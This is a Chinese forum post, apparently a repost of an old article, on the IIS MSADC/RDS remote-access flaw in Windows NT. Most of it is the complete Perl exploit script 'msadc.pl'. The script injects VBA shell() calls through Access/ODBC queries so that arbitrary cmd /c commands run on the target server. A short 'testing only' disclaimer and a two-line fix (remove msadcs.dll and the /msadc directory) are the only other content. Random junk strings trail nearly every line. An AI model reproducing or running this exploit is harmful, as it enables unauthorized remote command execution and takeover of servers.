社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166859阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [OzzL\)3l  
2}w#3K  
涉及程序: Rp0|zP,5  
Microsoft NT server 0Q'v HZ"  
1]j^d  
描述: 22>;vM."  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 {7qA&c=  
|Ab{H%  
详细: ym\(PCa5`  
如果你没有时间读详细内容的话,就删除: w:}C8WKw  
c:\Program Files\Common Files\System\Msadc\msadcs.dll &UL_bG }  
有关的安全问题就没有了。 u_LY\'n  
ACb/ITu  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 s"i~6})K<$  
,t1vb3  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 A[`G^ $  
关于利用ODBC远程漏洞的描述,请参看: 4}i*cB `  
,^ 7 CP  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ea4_Qmn  
If;R?j0;Q  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 4O(@'#LLz  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp r,4lqar;E  
OEnDsIhq  
这里不再论述。 W5.Va.  
dAL3.%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ! RPb|1Y}+  
9${Xer'  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset \3aTaT?..  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 7d ;pvhnH  
'z5h3J  
V@%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" \gItZ}+c4}  
i.y=8GxY  
#!perl _ij$f<  
# EY=FDlV  
# MSADC/RDS 'usage' (aka exploit) script 7)^:8I(  
# i)8N(HN  
# by rain.forest.puppy #f*g]p{   
# >&WhQhZ3kg  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me cwe1^SJ6y  
# beta test and find errors! ZYcd.?:6  
C#;@y|Rw  
use Socket; use Getopt::Std; R{?vQsLk  
getopts("e:vd:h:XR", \%args); jJBnDxsA  
L\e>B>u  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ybQP E/9  
8:thWGLN  
if (!defined $args{h} && !defined $args{R}) { (PRBS\*G  
print qq~ }"_j0ax  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 02\JzBU  
-h <host> = host you want to scan (ip or domain) LnFWA0y  
-d <seconds> = delay between calls, default 1 second *5OCqU+g  
-X = dump Index Server path table, if available R?pRxY  
-v = verbose ]6&$|2H?Ni  
-e = external dictionary file for step 5 !VP %v&jKm  
-.iNNM&a  
Or a -R will resume a command session r &%.z*q  
 ^$-Ye]<  
~; exit;} \.#p_U5In  
*hdC?m. _  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; {2 %aCCV  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} j U[ O  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} XIAeCU  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 4woO;Gm  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} AIRr{Y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } e ZLMP  
6CCbBA  
if (!defined $args{R}){ $ret = &has_msadc;  c</1  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Ai"-w"  
{gsdG-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" /i_ @  
. "cmd /c "; <>Y?v C  
$in=<STDIN>; chomp $in; ^2JpWY:|7  
$command="cmd /c " . $in ; M4m$\~zf  
PftxqJz  
if (defined $args{R}) {&load; exit;} :+rUBYWx  
p$E8Bn%[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 7~1IO|4t  
&try_btcustmr; 3c3OG.H$8  
RA O`i>@  
print "\nStep 2: Trying to make our own DSN..."; a%vrt)Gx  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Uf\nFB? ^  
0N:XIGFa  
print "\nStep 3: Trying known DSNs..."; NbRn*nb/T  
&known_dsn; b)# Oc,  
iK()&TNz  
print "\nStep 4: Trying known .mdbs..."; ut2~rRiK  
&known_mdb; %~xGkk"I  
#Q"O4 b:8  
if (defined $args{e}){ o@bNpflb`  
print "\nStep 5: Trying dictionary of DSN names..."; u3 0s_\  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } xiblPF_n3  
,u9M<B<F  
print "Sorry Charley...maybe next time?\n"; 2&!bfq![  
exit; 1.<q3q  
5ETip'<KT6  
############################################################################## ]D 2u deg  
XFVV},V  
sub sendraw { # ripped and modded from whisker rQ`i8GF  
sleep($delay); # it's a DoS on the server! At least on mine... )!BsF'uVQ  
my ($pstr)=@_; kzn[ =P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || e4>"92hX  
die("Socket problems\n"); UBv@+\Y8m  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y?J"wdWJNB  
select(S); $|=1; \!]hU%Un  
print $pstr; my @in=<S>; \daZ k /@  
select(STDOUT); close(S); !k3e\v|  
return @in; T:]L/wCj  
} else { die("Can't connect...\n"); }} EZ;"'4;W  
q$(5Vd:  
############################################################################## 'B5^P  
NEt1[2X%  
sub make_header { # make the HTTP request $d S@y+  
my $msadc=<<EOT Z/;Xl~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ZK;zm  
User-Agent: ACTIVEDATA 'H8(=9O1d  
Host: $ip HB+|WW t>  
Content-Length: $clen m %;D  
Connection: Keep-Alive sg'pO*_&  
X$%4$  
ADCClientVersion:01.06 RlT3Iz;  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 >_OYhgs1w  
m7EcnQf  
--!ADM!ROX!YOUR!WORLD! )^||\G  
Content-Type: application/x-varg yz8mP3"c:o  
Content-Length: $reqlen i%e7LJ@5AW  
X@@8"@/u|*  
EOT F  
; $msadc=~s/\n/\r\n/g; 3(TsgP >`  
return $msadc;} ^7zu<lX  
pym!U@$t  
############################################################################## 2'=T[<nNB  
qC F5~;7  
sub make_req { # make the RDS request {*{Ox[Nh{  
my ($switch, $p1, $p2)=@_; gbVdOm  
my $req=""; my $t1, $t2, $query, $dsn; )95f*wte  
bfo["  
if ($switch==1){ # this is the btcustmr.mdb query lHgs;>U$  
$query="Select * from Customers where City=" . make_shell(); Xpzfm7CB/  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . cGjPxG;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \&U>LwZd?  
Ft}@ 1w5  
elsif ($switch==2){ # this is general make table query 9tF9T\jW  
$query="create table AZZ (B int, C varchar(10))"; YPHS 1E?  
$dsn="$p1";} LL:_L<  
%*BlWk!Q  
elsif ($switch==3){ # this is general exploit table query 4apL4E"r  
$query="select * from AZZ where C=" . make_shell(); II6CHjW`;  
$dsn="$p1";} x _c[B4Tw  
MEB it  
elsif ($switch==4){ # attempt to hork file info from index server cnTaJ/o  
$query="select path from scope()"; I? ,>DHUX  
$dsn="Provider=MSIDXS;";} I`NjqyTW  
$DG?M6   
elsif ($switch==5){ # bad query ~69&6C1Ch  
$query="select";  w@,zFV  
$dsn="$p1";} P.gb 1$7<  
'7O3/GDK  
$t1= make_unicode($query); Gea\,{E9xA  
$t2= make_unicode($dsn); 13taFV dU  
$req = "\x02\x00\x03\x00"; $ X q!L  
$req.= "\x08\x00" . pack ("S1", length($t1)); 1GzAG;UUo6  
$req.= "\x00\x00" . $t1 ; ,v"YqD+GC5  
$req.= "\x08\x00" . pack ("S1", length($t2)); a+n0|CvF  
$req.= "\x00\x00" . $t2 ; A~-b!Grf  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; AK@9?_D  
return $req;} F$)[kP,wtO  
j]`PSl+w  
############################################################################## K6R.@BMN  
gEjdN.  
sub make_shell { # this makes the shell() statement P&f7@MOV.P  
return "'|shell(\"$command\")|'";} 'inFKy'H  
yqPdl1{Qr=  
############################################################################## `nu''B H  
@;"|@!l|  
sub make_unicode { # quick little function to convert to unicode |ZmUNiAa  
my ($in)=@_; my $out; (!:,+*YY  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } a |X a3E  
return $out;} Rb'|EiNPw  
X(NLtO w  
############################################################################## 'dn]rV0(C  
ff^=Ruf$  
sub rdo_success { # checks for RDO return success (this is kludge) %KLpig  
my (@in) = @_; my $base=content_start(@in); w(L4A0K[  
if($in[$base]=~/multipart\/mixed/){ [@.!~E)P  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} m^zUmrj[  
return 0;} y+NN< EY@  
A6thXs2  
############################################################################## p>huRp^w  
Qnsi`1mASr  
sub make_dsn { # this makes a DSN for us Tc? $>'  
my @drives=("c","d","e","f"); cz8T  
print "\nMaking DSN: "; <J`0  
foreach $drive (@drives) { JJN.ugT}1  
print "$drive: "; ;>Ib^ov  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . HMNLa*CL'  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" EFM5,gB.m  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %iQD /iT5  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 5j?3a1l0  
return 0 if $2 eq "404"; # not found/doesn't exist ?82xdp g  
if($2 eq "200") { Tw-;7Ae  
foreach $line (@results) { 9dx/hFA  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;@oN s-  
} return 0;} [_EZhq  
b0Ps5G\ u  
############################################################################## )6Fok3u  
?Lk)gO^C  
sub verify_exists { vg32y /l]S  
my ($page)=@_; },{$*f[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ?67Y-\}  
return $results[0];} VY7[)  
N 5lDS  
############################################################################## *nkoPVpC  
p8Qk 'F=h  
sub try_btcustmr { 'a@/vx&J  
my @drives=("c","d","e","f"); V_.5b&@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |ATvS2  
G3Hx! YW  
foreach $dir (@dirs) { V17%=bCZ5[  
print "$dir -> "; # fun status so you can see progress 86=}ZGWd  
foreach $drive (@drives) {  iu=7O  
print "$drive: "; # ditto 8e1UmM[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; d:C'H8  
$reqlenlen=length( "$reqlen" ); C)ERUH2i  
$clen= 206 + $reqlenlen + $reqlen; f<d`B]$(  
DEKP5?]  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Nk? ^1n$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?]_$Dcmx  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} "jKY1* ?  
/NI;P]s.  
############################################################################## rr],DGg+B]  
`EA\u]PwQ  
sub odbc_error { 6*78cg Io  
my (@in)=@_; my $base; k8&;lgO '  
my $base = content_start(@in); 9<6;Hr,>G  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this d;Ym=YHJtn  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Tztu}t]N  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c_$=-Khk  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; J?"B%B5c  
return $in[$base+4].$in[$base+5].$in[$base+6];} K7_UP&`=J  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; t&C1Oo}=3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6_GhO@lOG  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} /$Nsd  
5}l[>lF  
############################################################################## C!<Ou6}!b  
xX&+WR  
sub verbose { PbJ(:`u  
my ($in)=@_; {T$9?`h~M  
return if !$verbose; v!~fs)cdE|  
print STDOUT "\n$in\n";} %D{6[8  
t%0VJB,Q2  
############################################################################## {I%cx Q#y  
_}Ac n$  
sub save {  ~d.Y&b  
my ($p1, $p2, $p3, $p4)=@_; HAdg/3Hw  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )hsgC'H{~]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; hR?{3d#x2  
close OUT;} jp%S3)  
JX;<F~{.  
############################################################################## gD @){Ip  
DMr\ TN  
sub load { SwGx?U  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; sUO`uqZV  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); pI\]6U  
@p=<IN>; close(IN); Rsm^Z!sn  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Jq-]7N%k/  
$target= inet_aton($ip) || die("inet_aton problems"); 4SxX3Fw  
print "Resuming to $ip ..."; ~Fcm[eoC  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; m.rmM`  
if($p[1]==1) { V~3a!-m\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _ ]ip ajT  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }j)e6>K])  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); zR:L! S  
if (rdo_success(@results)){print "Success!\n";} =&]g "a'  
else { print "failed\n"; verbose(odbc_error(@results));}} ~qKY) "gG  
elsif ($p[1]==3){ oJz^|dW  
if(run_query("$p[3]")){ mO7]9 p  
print "Success!\n";} else { print "failed\n"; }} oLeq!K}re  
elsif ($p[1]==4){ `*R:gE=  
if(run_query($drvst . "$p[3]")){ .*Y  
print "Success!\n"; } else { print "failed\n"; }} |0b`fOS  
exit;} T.BW H2gRP  
LL~%f &_  
############################################################################## !*N@ZL&X  
+I|vzz`ZVr  
sub create_table { hMO=#up&  
my ($in)=@_; \~$#1D1f  
$reqlen=length( make_req(2,$in,"") ) - 28; ;*Et[}3  
$reqlenlen=length( "$reqlen" ); kn 4`Fa;)O  
$clen= 206 + $reqlenlen + $reqlen; ",; H`V  
my @results=sendraw(make_header() . make_req(2,$in,"")); FvjPdN/L?R  
return 1 if rdo_success(@results); *.t 7G  
my $temp= odbc_error(@results); verbose($temp); @qAS*3j  
return 1 if $temp=~/Table 'AZZ' already exists/; |)v,2  
return 0;} sDlO#  
p_%Rt"!  
############################################################################## Wh*uaad7  
VpDbHAg  
sub known_dsn { \_f(M|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ]N?kG`[  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", HIZe0%WPw  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", H*CW1([  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); oZ|\vA%4^  
>|UOz&  
foreach $dSn (@dsns) { Vt#.eL)Ee  
print "."; /h3RmUy   
next if (!is_access("DSN=$dSn")); s.C_Zf~3  
if(create_table("DSN=$dSn")){ XW] tnrs  
print "$dSn successful\n"; kt:! 7  
if(run_query("DSN=$dSn")){ 2\{zmc}G-0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 83#mB:^R  
print "Something's borked. Use verbose next time\n";}}} print "\n";} cVF "!.  
&Z%?!.4j@  
############################################################################## SO!8Di  
wb l&  
sub is_access {  2JBR)P  
my ($in)=@_; fE mr^ R  
$reqlen=length( make_req(5,$in,"") ) - 28; "4{r6[dn  
$reqlenlen=length( "$reqlen" ); /7YIn3  
$clen= 206 + $reqlenlen + $reqlen; 4.t-i5  
my @results=sendraw(make_header() . make_req(5,$in,"")); H/M@t\$Dc  
my $temp= odbc_error(@results); 3[*}4}k9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); .$vK&k  
return 0;} Q\Vgl(;lX  
=UWI9M*sz  
############################################################################## 61U09s%\0  
WH^%:4  
sub run_query { ]D\D~!R  
my ($in)=@_; PCtzl )  
$reqlen=length( make_req(3,$in,"") ) - 28; 'm$L Ij?@  
$reqlenlen=length( "$reqlen" ); X^jfuA  
$clen= 206 + $reqlenlen + $reqlen; r9?Mw06Wc5  
my @results=sendraw(make_header() . make_req(3,$in,"")); nX8v+:&}  
return 1 if rdo_success(@results); jnwu9PQ  
my $temp= odbc_error(@results); verbose($temp); |2A:eI8 ^  
return 0;} [Y`W  
"3J}b?u_[  
############################################################################## 4#Jg9o   
k+*u/neh  
sub known_mdb { J#83 0r(-  
my @drives=("c","d","e","f","g"); 6_B]MN!(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =?8@#]G+  
my $dir, $drive, $mdb; 8 L Cb+^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #GFr`o0$^  
E!F^H^~$8  
# this is sparse, because I don't know of many ) )Za&S*<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ;$Jo+#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {oL>1h,%3?  
"\\system32\\certmdb.mdb", :Zlwy-[  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s5. CFA  
+b 6v!7_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 2~[juWbz  
"\\cfusion\\cfapps\\forums\\forums_.mdb", gRzxLf`K  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", v"0J&7!J  
"\\cfusion\\cfapps\\security\\realm_.mdb", K (|}dl:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 4skD(au8  
"\\cfusion\\database\\cfexamples.mdb", m4Zk\,1m.|  
"\\cfusion\\database\\cfsnippets.mdb", # f\rt   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", A@u@ift  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", !()Qm,1u  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _yT Ed"$  
"\\cfusion\\database\\smpolicy.mdb", Iga0 24KR  
"\\cfusion\\database\cypress.mdb", RM/ 0A|  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 1Z&(6cDY8M  
"\\website\\cgi-win\\dbsample.mdb", J .%IfN  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", T u'{&  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w!XD/j N  
); #these are just )U# K  
foreach $drive (@drives) { y B$x>Q'C(  
foreach $dir (@dirs){ d_P` qA  
foreach $mdb (@sysmdbs) { MqMQtU9w  
print "."; ;FEqe 49  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ +cRn%ioVi  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; &M[?h}B6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ QsW/X0YBv  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; wgA_38To  
} else { print "Something's borked. Use verbose next time\n"; }}}}} V.2_i*  
]_$[8#kg  
foreach $drive (@drives) { Tsx>&WC  
foreach $mdb (@mdbs) { e#q}F>/L  
print "."; y_[vr:s5pG  
if(create_table($drv . $drive . $dir . $mdb)){ WY]s |2a  
print "\n" . $drive . $dir . $mdb . " successful\n"; }K9H^H@r!  
if(run_query($drv . $drive . $dir . $mdb)){ 6w77YTJ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ##ANrG l  
} else { print "Something's borked. Use verbose next time\n"; }}}} :zR!/5  
} @o.I;}*N  
FiU#T.`9'  
############################################################################## Vw"\{`  
BJ0?kX@  
sub hork_idx { B7%U_F|m  
print "\nAttempting to dump Index Server tables...\n"; DV{=n C  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; )`}:8y?  
$reqlen=length( make_req(4,"","") ) - 28; -F>jIgeC2v  
$reqlenlen=length( "$reqlen" ); 2T`!v  
$clen= 206 + $reqlenlen + $reqlen; Q@HV- (A  
my @results=sendraw2(make_header() . make_req(4,"","")); eDB;cN  
if (rdo_success(@results)){ w*Ihk)  
my $max=@results; my $c; my %d; .e5Mnd%$M  
for($c=19; $c<$max; $c++){ xezcAwW  
$results[$c]=~s/\x00//g; 92-I~ !d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ?fS9J  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; g `4<9RMun  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; E)3NxmM#  
$d{"$1$2"}="";} H[|~/0?K  
foreach $c (keys %d){ print "$c\n"; } v8D C21pb  
} else {print "Index server doesn't seem to be installed.\n"; }} We z 5N  
=Runf +}  
##############################################################################  z$Qbj  
t:c.LFrF  
sub dsn_dict { O9p|a%o  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); t >sE x:  
while(<IN>){ 6zn5UW#q  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; r%N)bNk~  
next if (!is_access("DSN=$dSn")); RT5T1K08I  
if(create_table("DSN=$dSn")){ 3mni>*q7d  
print "$dSn successful\n"; 3ANQaUC  
if(run_query("DSN=$dSn")){ :i7;w%B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &~w}_Fjk  
print "Something's borked. Use verbose next time\n";}}} \C1nZk?3  
print "\n"; close(IN);} ;=UsAB]  
8i,K~Bu=  
############################################################################## ,Lt[\_  
QdC<Sk!G  
sub sendraw2 { # ripped and modded from whisker 3BLqCZ  
sleep($delay); # it's a DoS on the server! At least on mine... wdZ/Xp9]  
my ($pstr)=@_; s9d_GhT%-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || v.ui!|c  
die("Socket problems\n"); 1i ] ^{;]  
if(connect(S,pack "SnA4x8",2,80,$target)){ Tb-F]lg$  
print "Connected. Getting data"; w`=\5Oa.G  
open(OUT,">raw.out"); my @in;  7[wieYj{  
select(S); $|=1; print $pstr; m#F`] {  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} EZ`{Wnbq  
close(OUT); select(STDOUT); close(S); return @in; cs'{5!i]  
} else { die("Can't connect...\n"); }} jNy.Y8E&  
Hq 188<  
############################################################################## e~':(/%|5;  
5 u0HI  
sub content_start { # this will take in the server headers BF<ikilR  
my (@in)=@_; my $c; I!?}jo3  
for ($c=1;$c<500;$c++) { <"|,"hA  
if($in[$c] =~/^\x0d\x0a/){ >dG[G>  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } tnG# IU *  
else { return $c+1; }}} k@:%:Sj 2  
return -1;} # it should never get here actually !0cD$^7  
0K2`-mL  
############################################################################## ""|Qtubv  
m%e68c  
sub funky { ;d9QAN&0}  
my (@in)=@_; my $error=odbc_error(@in); Wiu"k%Qsh  
if($error=~/ADO could not find the specified provider/){ {Dmjm{   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 1y4  
exit;} |H+Wed|  
if($error=~/A Handler is required/){ ZJ[ ??=Gz  
print "\nServer has custom handler filters (they most likely are patched)\n"; H'hpEw G  
exit;} 5[u]E~Fl}  
if($error=~/specified Handler has denied Access/){ f`=-US  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^]-6u:J!  
exit;}} {jX2}  
q%?in+l  
############################################################################## /Mu @,)''  
Hg$lXtn]  
sub has_msadc { ]wG{!0pl  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); v oj^pzZ  
my $base=content_start(@results); "!%l/_p?  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  'CkIz"Wd  
return 0;} .xWC{}7[  
';=O 0)u  
######################## ?m? ::RH  
e&aWq@D  
R[x_j  
解决方案: 3x'|]Ns  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll xjj6WED  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^N{h3b8  
&H/'rd0M  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八